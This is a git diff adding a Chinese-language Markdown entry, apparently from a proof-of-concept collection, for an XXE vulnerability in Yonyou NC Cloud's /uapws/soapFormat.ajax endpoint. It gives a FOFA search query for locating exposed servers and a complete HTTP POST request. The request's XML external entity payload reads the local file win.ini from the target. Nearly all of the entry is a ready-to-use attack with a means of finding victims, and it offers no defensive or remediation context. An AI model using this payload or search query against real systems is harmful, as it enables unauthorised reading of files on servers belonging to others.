diff --git "a/\347\224\250\345\217\213NC_Cloud_soapFormat.ajax\346\216\245\345\217\243\345\255\230\345\234\250XXE.md" "b/\347\224\250\345\217\213NC_Cloud_soapFormat.ajax\346\216\245\345\217\243\345\255\230\345\234\250XXE.md"
new file mode 100644
index 0000000..8306053
--- /dev/null
+++ "b/\347\224\250\345\217\213NC_Cloud_soapFormat.ajax\346\216\245\345\217\243\345\255\230\345\234\250XXE.md"
@@ -0,0 +1,22 @@
+## 用友NC_Cloud_soapFormat.ajax接口存在XXE
+
+## fofa
+```
+body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+```
+
+## poc
+```
+POST /uapws/soapFormat.ajax HTTP/1.1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
+Accept-Encoding: gzip, deflate
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Connection: close
+Host: 127.0.0.1
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Upgrade-Insecure-Requests: 1
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 259
+
+msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
+```